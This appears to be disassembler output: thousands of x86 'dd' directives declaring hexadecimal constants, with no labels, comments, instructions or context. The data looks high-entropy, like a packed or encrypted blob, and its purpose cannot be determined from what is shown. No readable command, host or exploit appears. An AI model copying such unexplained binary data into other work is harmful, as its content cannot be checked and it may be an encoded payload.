		dd 31FE3FB5h, 16E47307h, 119022B7h, 7FABDE6h, 0B937F77Fh
		dd 0ABAC10Bh, 61C5C47h,	0E6385303h, 0BA105FE0h,	8A170082h
		dd 0F7210A72h, 9E33E1C7h, 0A63840F1h, 0B0A7FE5h, 18143A37h
		dd 1FBD0250h, 9F52AA2Ah, 0CFDBC011h, 4C290C42h,	38770914h
		dd 0A0D3B01Ch, 286B30B8h, 0E3C76668h, 0E02B6CECh, 74436C7Fh
		dd 8FC8B9B4h, 7E8611D0h, 2C2900F4h, 977F2837h, 600141Fh
		dd 49AF80Ah, 0C0C65B4Ah, 41F6358Ch, 0EA3A4F6Ch,	8DDD83FBh
		dd 1F6FCC42h, 0C31A2C08h, 0F1848A06h, 0C42F83FFh, 11166CE1h
		dd 7E008B64h, 0E101FBD5h, 4A1B052Dh, 0EAC40678h, 372978A2h
		dd 8318F78Ah, 880170E9h, 6A07D088h, 0AAE05DDBh,	1D0FFC3Eh
		dd 0E69217h, 5447E237h,	0E8A1E9B9h, 8088FEF7h, 3E5CD8D0h
		dd 0CB792114h, 83263F80h, 2CB77890h, 0C00800C5h, 0EC777F30h
		dd 119FBE7h, 15E0C2C3h,	0E46CC844h, 10A3D53h, 46125B20h
		dd 34042D71h, 1C811C98h, 6080C8FFh, 1E4C583h, 41E8BC73h
		dd 0E8D85032h, 719CA656h, 4CC3008h, 0D1BA97C8h,	3D0B60E9h
		dd 0B0080A49h, 30659C8Dh, 0E68054FBh, 0E8A3E3B1h, 8AD38EEh
		dd 0A93E5480h, 18AA2B6Ah, 38B60611h, 36824BB7h,	0D6CD1FA4h
		dd 3C8F901Eh, 70F2B1A6h, 0B6EE7314h, 128BE294h,	1FC89EA5h
		dd 9440D55Ch, 5E9A91Dh,	6F06037h, 0F0201480h, 7C728B2Bh
		dd 4C3DB140h, 0C0076181h, 41CE1766h, 0D0D22EB4h, 88931A37h
		dd 89CD34E0h, 5E4D05EFh, 6FC8610h, 4024D7D4h, 28725724h
		dd 13EF76F8h, 3BFC3F1h,	913E2614h, 0FC5B782Ah, 0F100894Dh
		dd 2FCC003h, 4688A0CCh,	7F1D0CFAh, 7788F557h, 742A273Ch
		dd 0F7909762h, 614C413Eh, 8C1BF425h, 20D6E604h,	6DCC5DD8h
		dd 0C1C850C6h, 51F91748h, 0D029D07Ah, 0BE0097F8h, 23CC2834h
		dd 6E81E4A1h, 0FF8668F4h, 7D2BC0B9h, 6AC0A483h,	62205DC9h
		dd 0AF06C8E9h, 4AD72441h, 1E5880A0h, 81A0EC94h,	41F8DDA6h
		dd 1E824E9Ch, 0A4C01900h, 89468AD3h, 337BB3FAh,	710C4418h
		dd 0C09D75C6h, 0AE21FB3Ch, 0A62CF768h, 7B0EC5B1h, 38C24CE3h
		dd 66AC02D5h, 0A3F463CCh, 2001894h, 81AD1D31h, 6F58947h
		dd 0E3CD8EE7h, 0A321380Ah, 6339E0FEh, 0FA30EDA2h, 0D638109Ch
		dd 996A016Eh, 579A4D1Bh, 9E8FD4E0h, 0F0FD7507h,	0D0417A26h
		dd 60948416h, 0DBB0607Fh, 6C00801Fh, 3A4D6112h,	1F878E9h
		dd 0E39965D0h, 0D094CFF0h, 6A7C2790h, 0D80646E8h, 3723A431h
		dd 0D2BD0708h, 3F66C432h, 0C309E483h, 994D04C0h, 8F0384F8h
		dd 0E30F9A9h, 0E08AA0EDh
		dd 0CB5E104Eh, 2F6B00E5h, 6ACAFA86h, 0EAA107C0h, 0C05377C7h
		dd 0B57FD35Bh, 5E0E46EEh, 62D12FEBh, 3CA01BDh, 9DD8809Fh
		dd 0E80FA8B1h, 83967BDDh, 0C0A4665Dh, 4184BDh, 0BF722FA2h
		dd 446E810Eh, 9F656B00h, 75A63901h, 0FA10C07Ah,	4DA5BA52h
		dd 33C9E600h, 9DE83ACBh, 0EAD83A8Dh, 0EF481403h, 900F465Dh
		dd 825A0F75h, 947BF03Dh, 388A0130h, 0DD9B9030h,	87E331C9h
		dd 0B6F6FD90h, 0D4781C4Ah, 0D2923CA3h, 8003F3C0h, 263DEF04h
		dd 194029B7h, 47A7601Ch, 0D840C057h, 0ABC12B13h, 8851C380h
		dd 0E72D57E0h, 48B3C900h, 0EA957ED9h, 7DE8149Fh, 0F7B11C86h
		dd 9D15F4DDh, 29D368C5h, 0AA4847Ch, 3C0B7C7Ah, 1731FACh
		dd 4D157E1Ch, 0F685AA1h, 4CCF1E3Eh, 1E93A049h, 9A1488B3h
		dd 6C1E7016h, 0C8AC5F04h, 330066F6h, 0F57E2729h, 1F3E4804h
		dd 14808AFEh, 0C0AC50BDh, 0EA51E380h, 0F0B915Dh, 8FC41DEFh
		dd 680C0D44h, 1231841Bh, 806734D2h, 0B2185368h,	0AFC54AFAh
		dd 0D5F980F0h, 0E779525Ah, 3D7FF580h, 0AD234AA1h, 0E3835FC2h
		dd 13D90033h, 6AA1C299h, 0AAE8B5ABh, 0F89FD02Bh, 0EFCC5FC0h
		dd 6C67442Ch, 0BDE9A608h, 0E0D6F8D1h, 79506930h, 0E551D3h
		dd 9A777E1Ah, 0B9A0DE1Bh, 9C3BEE8h, 0E0B3A81Eh,	12D0DDFEh
		dd 2711DEBh, 0BB167DD8h, 473CCC41h, 0AF438390h,	27885A7h
		dd 4A559DC4h, 74652440h, 0ECBDFB0Ch, 0A84920ABh, 0CA9724C8h
		dd 3EE0E340h, 1089C219h, 6D45F48h, 73BB7EF8h, 500DE8C1h
		dd 0D133D005h, 5EB0B838h, 8B24AE2Ch, 9304748Dh,	108259C3h
		dd 38B4BED3h, 3F185D6Fh, 0E8333898h, 6C700163h,	7BB80F3Bh
		dd 5C9E99Dh, 0C1FD2880h, 0F5027FD2h, 0BE1C75BBh, 3868B601h
		dd 4F350BEh, 0CF2161EAh, 7D54C1A8h, 80C4267Bh, 0AEC2A6D2h
		dd 9259001Fh, 989CAFF3h, 29F0F47Dh, 0C89713Eh, 10F520E9h
		dd 0EEB7CF2h, 8F5815A9h, 2DC64CE0h, 0ED3EEE27h,	3F07245Ah
		dd 4D8BD700h, 0C17F2478h, 4F978561h, 9CA8E4FAh,	0E0AEF800h
		dd 0E8484959h, 13461FB3h, 1DB4C0FBh, 0E9019179h, 9F4FFE00h
		dd 0AEEB35EFh, 75D63B85h, 0B314DE02h, 18961106h, 80A0B200h
		dd 75D538DEh, 0D1850095h, 25547987h, 9729C6B3h,	0EC401CF5h
		dd 4AF19Dh, 0F0CD61F7h,	2F6681E7h, 0B2181774h, 86407BE6h
		dd 48306EC5h, 4DB819ACh, 0A60FC87Ch, 0DBFEE29h,	91FDA010h
		dd 8100344Bh, 6594D32Dh, 553075DBh, 5E0AA186h, 15E41DC2h
		dd 0FB040754h, 524812Dh, 7844F032h, 6451357Ch, 3981E80h
		dd 0C6BB92Fh, 0B0C80AF1h, 0D07C3065h, 9D0CBB3Ah, 10F41CDCh
		dd 0F7A900BCh, 36AEADA0h, 0C9602BB0h, 0F87CDEA0h, 30602B39h
		dd 0C028C8C0h, 0EE91CA13h, 0F9F1E006h, 18583CEDh, 0F0938890h
		dd 860C65A7h, 8D762D9h,	1CD78ACh, 87283099h, 0D3F24D39h
		dd 7CB695E2h, 6A17B8C0h, 0A0F85374h, 0E5E17034h, 864CB600h
		dd 0AA72F900h, 544419F8h, 127937DDh, 2229C3D8h,	74C1703Bh
		dd 0E3EE993Bh, 31216618h, 0B9200510h, 62F05F13h, 383989F0h
		dd 6A1DC950h, 90008329h, 0D563C626h, 0AF661CC3h, 950643DCh
		dd 0C7E4C209h, 0B286931Eh, 4B071FFFh, 786683D1h, 0E41E1874h
		dd 0F18FBE23h, 46E6E69Ah, 0C38DFA39h, 2685AD30h, 0D38C04B9h
		dd 0F169A3F9h, 0C2DFF4E6h, 1580A61Dh, 0B78783Eh, 87BD261Ch
		dd 66DE6C6h, 756E0310h,	5DEE46C3h, 255C380Fh, 708386DDh
		dd 0CFB80310h, 7F22F2E2h, 6D92B2A0h, 48D48000h,	248D111Ch
		dd 34DB0062h, 30430159h, 8107D121h, 323DDEB9h, 0A0AFD3E3h
		dd 0C07FA9E6h, 0C3D6EEA8h, 0E9DE5AA6h, 1E3CC91Dh, 4600D3F3h
		dd 0CF0EB92Bh, 18CE9830h, 876BC6Fh, 0EB00C1C3h,	3348A93Ah
		dd 0E93542EFh, 7424BEF0h, 39BD200Fh, 0E18B675h,	0EF185A4Fh
		dd 1E0D7CACh, 1C25DBCFh, 0E91012Fh, 988F546Fh, 0EF38D908h
		dd 0AF10C172h, 0F80CC6A2h, 48C2933Ch, 0C02FAEE9h, 1F18B6Dh
		dd 40303339h, 0CC82C706h, 0F800E1D9h, 0B7D2F936h, 8152F0h
		dd 0E0CB7FEFh, 0B60F0EBEh, 8F0D7107h, 4F416F72h, 2FE07051h
		dd 0EBC60CB1h, 0AFD05B1Ah, 0C0388933h, 4FB81828h, 70EF40A4h
		dd 91B82363h, 33AFE137h, 161B20BCh, 3B83C076h, 0DC75100Fh
		dd 0B0DE8C0Ch, 0DCE143DBh, 850E2309h, 584773DBh, 875F4BEBh
		dd 0CC83E8Fh, 0AB408083h, 9B38C30Fh, 0A080157Ch, 434D789Eh
		dd 5E0B0CB8h, 62FD5097h, 9456F072h, 0AC0FA883h,	807D5BB8h
		dd 9E0450A7h, 2B60C8D4h, 40C29CFEh, 4213A101h, 86CC154Ah
		dd 993F0BEEh, 504BE240h, 28CFC024h, 3A9C0AA9h, 1F783A67h
		dd 733349Ah, 0CC0E9D18h, 4B49AF09h, 0B8142818h,	0DE5DCF01h
		dd 0D92C0F0Ch, 85E2EFD0h, 0D5AD5E60h, 6B44A8B7h, 2FAF2B3Fh
		dd 53EE7ACh, 8B1C20D3h,	5890F363h, 818069E0h, 0A83857D7h
		dd 30AC8EC5h, 510DAB40h, 2A152FE8h, 0F2A438C5h,	0CB44B086h
		dd 334B0A4Dh, 5680DC4Fh, 89E72623h, 0C80EDEEBh,	3DC0912Ah
		dd 88AEE514h, 9857EA8h,	0A023710Bh, 48243E5Ch, 0CF049485h
		dd 348AA287h, 0C34C1E8Ah, 900C572Bh, 480EDE8Fh,	13A63FC6h
		dd 0F838E324h, 0AC12EE69h, 3446BDD3h, 26900C1Dh, 1228C468h
		dd 6F5C0233h, 98BCA279h, 131F311Ch, 14467892h, 2B809FAAh
		dd 0C090AC14h, 3BD38D10h, 8087F044h, 0B893158Bh, 484B70ECh
		dd 1C449445h, 0A2802BABh, 0E3704C78h, 51C4653h,	38DB17CBh
		dd 48EB706Ch, 1C45F0D2h, 0A1E53EE4h, 9430B594h,	9590Fh
		dd 0C7D8A1Eh, 2F16B3EFh, 13A0F604h, 0D8C150AFh,	95DA2E4Fh
		dd 70A3158Ch, 0E3031C94h, 9921AF0Ch, 873A44C7h,	2449E248h
		dd 0BC02DD05h, 0BCD848CFh, 0CC132368h, 4FF92B84h, 75BEB081h
		dd 90EC8430h, 9090F44Ch, 6226F8DCh, 4A0BD270h, 76F33C63h
		dd 0C74CD07Dh, 3023262Ch, 49E9BA3Bh, 21E0E6F0h,	8010201Bh
		dd 50674B0Eh, 832FCF85h, 0AEB94F94h, 27E94213h,	0C544A482h
		dd 0D831EC6Fh, 8E09CD63h, 0D9126B59h, 4864E5D8h, 94F54832h
		dd 8C705B2Ch, 17049CCh,	60D4A950h, 1AF09063h, 0E0D049C4h
		dd 0B840784Ch, 0B07C4CCFh, 0D9E68F0Ah, 0E821F3B4h, 4A8B4253h
		dd 4C0FE081h, 44808B73h, 479C0557h, 836AC4Ch, 0A829510Fh
		dd 0A294F0E0h, 4F6C6284h, 0F480207Ch, 0AB1D8ECCh, 793B8743h
		dd 50089764h, 5BE1CF02h, 609D8C86h, 84E60F13h, 9AB42106h
		dd 0C9CA7FE0h, 50A6CB08h, 2BE82027h, 0AF287090h, 0C0E4A075h
		dd 5C107C64h, 72130F87h, 3A281969h, 8531406Ah, 681F6F08h
		dd 74350083h, 84185DF8h, 0EA4D4003h, 41AF6EBAh,	0E06693DAh
		dd 0CCA0BF3Ah, 0DC983DEFh, 476B8F13h, 101C9C0Ch, 40835C2Fh
		dd 23513174h, 8CA2BC48h, 883ABFC8h, 0EFB8C05Fh,	3B190DC9h
		dd 53BD3Ah, 7DD42AFBh, 0BB87C1Bh, 0F37E9B18h, 0C0636B80h
		dd 693ADB1Dh, 50BB07BEh, 0D24618B7h, 833B7D08h,	88C12399h
		dd 1BB96620h, 3FB0813h,	0BDD7111Fh, 6F71B08h, 8024327Bh
		dd 1B503F3Ah, 0C0185F5Bh, 0F81AEC41h, 0D8ED7493h, 52BB1090h
		dd 469B20C4h, 0F2AEFB03h, 910A032h, 8860F38h, 0F70070BBh
		dd 0C0CF76F3h, 3AC3FAAh, 604E5B0Ah, 4D80A897h, 0DD03A62Dh
		dd 3ED31E8Ah, 891BB0D7h, 0B2AC3A5Fh, 0AE3FDB0Ch, 1F505EC0h
		dd 9B3A2C90h, 0B962311Bh, 0DBF04F49h, 84D606Eh,	5B1DBC63h
		dd 7DD5D803h, 79B5A57Bh, 0DBA8A0B0h, 1B08C587h,	0DAA046CDh
		dd 606108BCh, 0B6887B10h, 5B2871B1h, 9BC88C3Dh,	0C6E139EEh
		dd 19963B08h, 7AFBA488h
		dd 0D110BA64h, 1E0D1B05h, 51590C90h, 0F40AEAB8h, 84C10F76h
		dd 8340C78h, 9F955E15h,	0B6CA7F61h, 906E7BD0h, 0CF9BE810h
		dd 0B26CFBE8h, 1D50A678h, 2862CA84h, 83C52008h,	0E9C24980h
		dd 9041139Bh, 0F041EDBBh, 0C187913Bh, 0F0E6BCD4h, 53E40E54h
		dd 88112100h, 0C1C5AA27h, 79DC0084h, 0C64138B0h, 0FB0025FEh
		dd 0C87DCBC4h, 1CAFC0F1h, 4077390Bh, 13E43011h,	0D3F095AAh
		dd 0E3DEEF00h, 0E5B89873h, 0B9263AF3h, 0B737130Fh, 0E4765303h
		dd 0E674207Eh, 6D619301h, 0E1BDF3E7h, 78BFD3F0h, 1A730F6Bh
		dd 5D07E5B3h, 48138043h, 67298812h, 0DA6050A9h,	2136B352h
		dd 9786BD43h, 3A603DBFh, 333D5275h, 0A6838094h,	0B3056F3Eh
		dd 3D87E2ACh, 33F8882Ch, 845F4F7Ch, 0AB777h, 0E6BE1C53h
		dd 0A03C61B3h, 0EC816A7h, 0A202B101h, 8FC4DE09h, 0C04F8210h
		dd 4A281BF7h, 0EF00557h, 2C17E788h, 0B80E1A20h,	0C13CCF57h
		dd 1154774Ah, 0E203885Eh, 3D1A3ADEh, 0B3973010h, 30F75042h
		dd 0CA923C73h, 0B4D7A4A0h, 52E01093h, 0C44066EBh, 10B5F731h
		dd 0CA82F068h, 0C9F83142h, 4E0A1730h, 0FA69C050h, 0C297D4AFh
		dd 105CB7E0h, 208C88BCh, 0C088F48h, 8412493h, 0DC77FEACh
		dd 0D2DD0310h, 96C00197h, 280F2237h, 1D8FC9ABh,	6031A140h
		dd 1C9A127Dh, 0FE58Ch, 41C4ADF4h, 5D03A056h, 1BA60127h
		dd 99B4A808h, 0C0207AA9h, 2AB92869h, 87971651h,	0F340C24Eh
		dd 26BF5Ah, 25301367h, 11C543BBh, 82DB8500h, 0BF58B538h
		dd 2B0407E6h, 6C9B4DB6h, 53714AA8h, 99D23600h, 2645BF59h
		dd 0B20F0016h, 3E570C8Ah, 98C0BC86h, 9325FFE7h,	13EE00DCh
		dd 8B7AA490h, 0AA04A0D6h, 376A68F0h, 7D6FBC80h,	0C6300F8h
		dd 65A86220h, 94A0A63Bh, 3F40CF46h, 8B1F0794h, 60904333h
		dd 79714DB9h, 2ACE5C03h, 0FA9EA6F0h, 2BACA07Ah,	0F55595Eh
		dd 991D7E23h, 0C946C340h, 66024B18h, 73BE0D75h,	53D48076h
		dd 5BC0B74h, 79E60882h,	4FE9814Ch, 6957D494h, 0CA617000h
		dd 2B93E095h, 5A460096h, 1B49150Eh, 410734AEh, 7FCC3BBDh
		dd 4CBB2910h, 767900BCh, 0D0AE5952h, 7A004F6Bh,	13E39E0Dh
		dd 0F620E478h, 0AD7E0004h, 0C79DC594h, 0A600FD41h, 167C757Ah
		dd 0F9898Eh, 2D816735h,	765B8DDBh, 0D5699A00h, 5D57E0AFh
		dd 80DD00DFh, 8EBE392Ah, 0E4008347h, 74890756h,	72039Ah
		dd 0FE1B061Eh, 7A6B290Ch, 0D8D24500h, 0BEFBD192h, 0DA590074h
		dd 71B2CD0Bh, 1E00C5C9h, 91CAEA69h, 24F113BCh, 4C10C3h
		dd 0DA0559DCh, 4A070639h, 0B46C5FA0h, 64D7F230h, 0D3A0022h
		dd 0DE589FCDh, 87FCE745h, 0D4BB8400h, 4FD6FB21h, 88CD26F6h
		dd 80041F62h, 0CBD02992h, 6300865Ah, 6DA2B6F9h,	3996E461h
		dd 58021C3h, 0FE0A73C5h, 400084B1h, 69A3FF47h, 5556A2Bh
		dd 3208A8DCh, 15F40033h, 9D0AFD1Fh, 0AB008372h,	6C21A939h
		dd 9E9352h, 0E8C6AEC3h,	0C15AC907h, 96B21101h, 294A66B7h
		dd 0E43F49E8h, 0B9C23DDCh, 0D2A80D07h, 0EBCAF090h, 3303A72Ah
		dd 84BA0861h, 0C327D0ECh, 940C00C2h, 2F65E33Ch,	0F270D298h
		dd 0C1804890h, 290161Fh, 3F465B1Dh, 0F0BDEB40h,	39FD7AAh
		dd 7968C7E8h, 1100DEB3h, 3B141152h, 18D4EC50h, 18DA020Dh
		dd 410F31B1h, 408A7646h, 471CF30Ah, 0A1E90006h,	4D870EACh
		dd 9100650Bh, 6DD2F40Fh, 3E307975h, 0FFEDE2Eh, 0F0B74669h
		dd 97E7CAC0h, 2D00456Ah, 1270833Dh, 301ED4C6h, 221032F5h
		dd 7F036C91h, 2C44C7AFh, 0DCC9A8B6h, 7E1E0526h,	80A6AE4Fh
		dd 0FDA712D5h, 8071DE3Ah, 0B738BAF3h, 0FF26753h, 656AE170h
		dd 3674DB00h, 2300B139h, 0A366FDBDh, 3BFA3459h,	5FBE1281h
		dd 5875DE80h, 89E4133Dh, 51E5BD00h, 372E3B52h, 8EF40005h
		dd 0FAA63FBBh, 50006846h, 306177E4h, 1A38DFh, 2ED36795h
		dd 317A6CF6h, 5CD13Fh, 0DB021EB4h, 7134BE0h, 0B10B51A0h
		dd 939DD74Ah, 21C8E8D6h, 3E001DECh, 35A524DAh, 269BA07Fh
		dd 230D071h, 60B07346h,	9DA7BFE0h, 3D00E3B8h, 24E48011h
		dd 870FA1h, 7F57C633h, 7844B240h, 7499D00h, 5C4F46F7h
		dd 6D010095h, 31DFF354h, 0BE265E0Dh, 5300330Fh,	1194A9C9h
		dd 57C400F6h, 1C6B0E1Eh, 8507CFCDh, 0D3E41823h,	0C328A2A3h
		dd 1EFD0DFh, 0C28C00AEh, 7031A7ABh, 0C800B85Eh,	2BAAC043h
		dd 3EEBEEBh, 0ABA3F5E7h, 0D1809334h, 0D6173E80h, 0B9006A37h
		dd 0A8FF9164h, 414A0059h, 806EE339h, 37001A0Fh,	9C64EFB0h
		dd 3A1F9D8h, 3223D3A6h,	96001301h, 70DDA4DAh, 9C424Eh
		dd 548356FEh, 44300E45h, 10A2AF00h, 0C9914D21h,	424A3905h
		dd 39C37000h, 36D7BA55h, 9BB87102h, 600B5FC7h, 6CA57Eh
		dd 30B42CD4h, 0CB3C38F8h, 0D24AAE00h, 1A172BA2h, 5A4E00DAh
		dd 98A412Dh, 0CB004DCEh, 0EC2C9C3h, 5B163963h, 0E2C2A096h
		dd 0D3EFAD00h, 0A85DE353h, 706300C4h, 90FC35E9h, 5400B579h
		dd 0F5808D5h, 91DC3F9h,	88CB507Ah, 0C60FEF0h, 7F926AA6h
		dd 0C82600A7h, 0A0E4F7B0h, 8F0050A6h, 3264EB4Ch, 4892553Eh
		dd 9B3D07B3h, 6B775800h, 0DA901F21h, 0E4043Dh, 42F3F7AEh
		dd 82EEA2h, 2BDF4D25h, 0FD91D5FEh, 0E6FBC3Ch, 201854C5h
		dd 2EA02C96h, 0EE630020h, 32C8744Bh, 0D8E0360Eh, 4500AAEEh
		dd 8BC1F4E8h, 0EAFE0B8Dh, 996309D7h, 7080363Dh,	7D89FCAFh
		dd 0F5EC2F09h, 6D220090h, 3808E0h, 713F83FDh, 25BE6714h
		dd 2954F101h, 79F59728h, 0FB11F8h, 84DBCE1Bh, 0FE5713A6h
		dd 9242D700h, 0A8DAE35Dh, 0F1DF0014h, 9AD4E250h, 0F91CB1B3h
		dd 5352C866h, 8FB9800h,	0ED7D38Ah, 38200B44h, 0C31401Dh
		dd 51BC542Bh, 0FA03C400h, 91537B6Fh, 616B008Eh,	0B21E5045h
		dd 0E126356h, 2100AA2Fh, 9D10FC34h, 806900B9h, 3537079Bh
		dd 27253BD4h, 0CD7C5Dh,	0EE94340h, 101E67EBh, 81007A4Eh
		dd 529F1162h, 0D8AB009Eh, 38A73E61h, 86012DE8h,	0FC2C4EEDh
		dd 51ECC2FAh, 809C0070h, 81134C43h, 6101CC26h, 2B1FD295h
		dd 4EC9FDEFh, 9755C24h,	0ECCC719Ah, 49895400h, 30FD66B4h
		dd 2178113h, 90093E9Fh,	5F680EDh, 0F8F70F50h, 0A42C2C21h
		dd 5DBE0186h, 0DFE5EB45h, 0C7E456A8h, 8CBF5B12h, 25EA0800h
		dd 7193351Bh, 8641F45h,	0C3314EC5h, 0F25DD961h,	0E04360DEh
		dd 87B07700h, 0BBA383B3h, 0C911005Eh, 3D21D92Bh, 10F449A7h
		dd 3EFBA51Ch, 80A36E0Eh, 0D2682C7Fh, 60C41FB1h,	0C8E2C04Fh
		dd 6240F5BEh, 0D04C7C00h, 0F28C599Eh, 78140036h, 1620E013h
		dd 380790D4h, 9B87347h,	64831D77h, 826881EBh, 0C1ED20h
		dd 4511D20Ch, 78BB7CECh, 0E600277Ch, 7464DB8Eh,	222196h
		dd 2969B437h, 5CE275DFh, 0CFB11A1Ch, 5EE92E80h,	373FEBCh
		dd 0C899266Eh, 35F07133h, 44EC6F19h, 0C2CE4200h, 1E64A27h
		dd 5FA400BDh, 4B5EE3CBh, 15700349h, 0FFFE7F07h,	9080352Bh
		dd 98A2B581h, 0C2D20208h, 72C99A52h, 0E1A8E48Ch, 6DCBD300h
		dd 5860C1Fh, 0E4CC0FFBh, 63C05EE7h, 96AA3E77h, 0A8EF360Fh
		dd 0A05CC325h, 6970B708h, 0A7C858h, 2661F65Fh, 718483FBh
		dd 3ADBD100h, 0F365B744h, 0D9DC0482h, 0C02E548Fh, 7640DF2Ch
		dd 9C78BC00h, 74035D9Eh, 8BDD006Ah, 858809A5h, 0A4241416h
		dd 80BB0010h, 8A72F95Ch, 0EA1B1A5h, 5164F023h, 8921E320h
		dd 4C00F884h, 1EE903CCh, 90EF7492h, 49C20430h, 0FC4F41h
		dd 0AD4605B9h, 809E0E68h
		dd 0F1C09F13h, 78EA5B86h, 0AFED1400h, 0F55E3484h, 85950030h
		dd 0D5F6B89Eh, 0C601F135h, 65C00512h, 0D6F052CDh, 0BDC70055h
		dd 1468907Fh, 0F200AEB3h, 0EB4F3776h, 168ADA2Eh, 3993973h
		dd 63B42B34h, 3DEF2000h, 724F80EBh, 1BF6E840h, 0E80FFB12h
		dd 31609282h, 7B0E4691h, 452589A6h, 0E2C1C89Ch,	8FF03B7Dh
		dd 958A1ED5h, 71F1C8Ch,	0E0201A45h, 4EE825E0h, 9981E600h
		dd 6B010998h, 0BB0002Ch, 293811B8h, 800C2FF4h, 702BF3D2h
		dd 4D5A0342h, 0EE433F05h, 0BEE20CEh, 0D99CF10Dh, 5EECB890h
		dd 7650A0D0h, 0EB381E67h, 17A94055h, 0BB02BDC9h, 0EE1CC400h
		dd 3C8EABE3h, 0B23D009Ch, 2B747B93h, 4C00EBE9h,	0BFA58F1Ch
		dd 0ED1E718h, 26D0A44Ah, 3132EA63h, 5DCC0998h, 99CB9517h
		dd 0FBE0E000h, 4AC1FF6h, 0AD34A389h, 0E8E7C03Ch, 0A20EDEA7h
		dd 0AF663EC7h, 53B20031h, 1F7F753Bh, 26CB3057h,	871A00DCh
		dd 1D4B2A9Ch, 0E1659300h, 334DD453h, 96D4FF3Ch,	8EB54CFBh
		dd 0CE662800h, 2F2484DCh, 6482900h, 95AF8016h, 5AEC005Eh
		dd 0E2E53E10h, 86B0A15Fh, 67FE0303h, 90344191h,	7DA657B4h
		dd 73641CDBh, 942FC05Dh, 0EBC854C7h, 1AF1B900h,	0DBF05FF9h
		dd 473F004Dh, 9FA3E97Fh, 0CC00AB5Ah, 0C1C33EA5h, 0F7CA992h
		dd 0F9336B9h, 0FF40EE4Fh, 0F4E253BEh, 12061307h, 31D0F820h
		dd 36B7D18h, 29DCFEF3h,	708FA316h, 0F8132A0Eh, 0F9046300h
		dd 40426121h, 275D186Bh, 2E0A49E4h, 2A306E0Eh, 574240A4h
		dd 1DD6A0D5h, 5B1697h, 65910883h, 103A894Eh, 827EFD87h
		dd 88F7EC0Eh, 0B5FAE206h, 0E2A88041h, 0E572Ah, 0FDA196B7h
		dd 7816C535h, 0BF003C7Dh, 87AA6422h, 1F50Ah, 0DC083E1Bh
		dd 9DCB6CB2h, 0EF864C05h, 0C40099EAh, 7398ABCAh, 278A814h
		dd 54D40031h, 0BA2329C9h, 0A63BB369h, 0BC778758h, 60107379h
		dd 18873291h, 0E86A8548h, 2E00E74Bh, 408D30B0h,	0C64FE94h
		dd 766C6F61h, 5D000E90h, 0D141743Eh, 5316C2ABh,	70004485h
		dd 0E4B0FBDh, 8C004FFEh, 7897D30Bh, 12C90733h, 43AF40BBh
		dd 0B5156E10h, 56663188h, 0A254E4B8h, 0A8C02AB4h, 2471A667h
		dd 95890DF2h, 9FB9699Fh, 0C0407288h, 7D8540FBh,	18ECA62Eh
		dd 91EDE884h, 16E21AE7h, 2F4EA500h, 0C2E44DBFh,	99960098h
		dd 0A0321207h, 2607B382h, 0AA577995h, 0A671A830h, 6AF93011h
		dd 0D60ACB71h, 0F0B93Fh, 401095DEh, 0CDDCFDh, 0E5A9ABB7h
		dd 0DD1A993Fh, 7AA4E604h, 8882FC38h, 10918029h,	9961CF6h
		dd 135F8E72h, 0C3180005h, 4200AF4Dh, 0E18CDB12h, 43BEE6h
		dd 0C196FD74h, 8722A366h, 6F02D100h, 0A2E4F755h, 8F7B5085h
		dd 17A7438h, 1AD9CDE7h,	20EB486Ah, 0F8003536h, 0A2E11688h
		dd 18D667h, 8F7130A4h, 0C5B24259h, 689B39h, 0F1697A43h
		dd 572C89h, 67E318B6h, 63C26FDFh, 0A4B4E703h, 0BFE6860Ah
		dd 699BB1A0h, 2F2200ADh, 41245E56h, 783DF34Ah, 991D0087h
		dd 52E276A2h, 0BC173D6Eh, 704BB400h, 5C624C8Ah,	0CF6CDC0Fh
		dd 0BE6380AEh, 0C0EBA2F2h, 4A0EBC4Ah, 1700E691h, 58AE3F0Bh
		dd 24734Dh, 12856999h, 0EACDD0C2h, 17E2B200h, 0D62CD21Dh
		dd 74BC0011h, 0D5B44A93h, 37E29E28h, 0F6F04C72h, 987D7230h
		dd 739FB88Bh, 2C540047h, 0BFA0DD09h, 9A00F70Ch,	0EB439DB7h
		dd 17E13Fh, 40FD213h, 0AE7C06B2h, 546DAB14h, 0A7A91874h
		dd 3607529h, 70ADF3E3h,	3EC01FAAh, 0CC243398h, 2F07B1C6h
		dd 7FD0C7CDh, 3971795Dh, 7600779Dh, 614903Eh, 0DC02C2B3h
		dd 1C47ECF0h, 0F647603Dh, 59D70063h, 0F4CD10DFh, 4E00038Ch
		dd 2A26660Bh, 2A21A52h,	0B0D96CC2h, 6BE070B4h, 6D032B2Dh
		dd 4E1399B8h, 20B7B080h, 786500AEh, 139CC28h, 0FE0127BAh
		dd 0E5740418h, 5470B4A2h, 1CEAE437h, 0EE92822h,	6BE3D780h
		dd 3F0C68Ch, 4C750448h,	0AF1E50C1h, 0E960CD0Dh,	62F4E706h
		dd 141700EAh, 0E1B20529h, 0F700D026h, 549D7094h, 0FE06D201h
		dd 113A00D3h, 4345BD7Ch, 0AD009BE0h, 8C828610h,	73EFC326h
		dd 0B8D0346h, 0EAAFE8CEh, 79A0A000h, 0F9506BDDh, 0A952600Ah
		dd 9A64B5A3h, 0EB6F4801h, 0C240567Ah, 0D54E5980h, 9E70D984h
		dd 0AA1DFD00h, 0FF912252h, 281E3041h, 0F087D640h, 4C7C7603h
		dd 0D8C15E0Bh, 0F6CCF48Ah, 2D410538h, 6021973Bh, 31F730A8h
		dd 6EFDC901h, 18E76865h, 0FBCA0C6h, 0AC6DB159h,	0ADDE0334h
		dd 0ED1637EFh, 0B192B490h, 6D0C1AF0h, 0AE6E76DCh, 0C560060h
		dd 0F390A70h, 9D001FBBh, 2AFA473Ch, 6AE36F7h, 0C2CA5E27h
		dd 0BE093834h, 1CA8E6h,	0A4602AAh, 0D98A0121h, 0E52CF953h
		dd 83042467h, 9003EDFCh, 78C27330h, 5908E052h, 883E5254h
		dd 0AA69A8C0h, 0F915930Ah, 1C802A29h, 8B802808h, 0D8B2328Dh
		dd 9BA7003Fh, 0E44D6B3h, 8000FF59h, 8E91725Bh, 0ECC54Fh
		dd 957904E6h, 0B9EBF38h, 489E024h, 5C8FD303h, 0F164030Ah
		dd 3AE73DA6h, 8486913Dh, 0BBCCC745h, 22B75FC0h,	0B2D7003Ch
		dd 3E4E3178h, 0B40E039Dh, 613923FBh, 0B797E45Dh, 62832822h
		dd 20A81EC5h, 663F0A48h, 0DA5680BFh, 14450155h,	4ECC1824h
		dd 51C431AFh, 0AB4FD826h, 63045D00h, 3E1E862Eh,	30E0A42Dh
		dd 9ADB007h, 7358BD0Dh,	0FB2039C5h, 0E21F1CB5h,	0B209BE9Eh
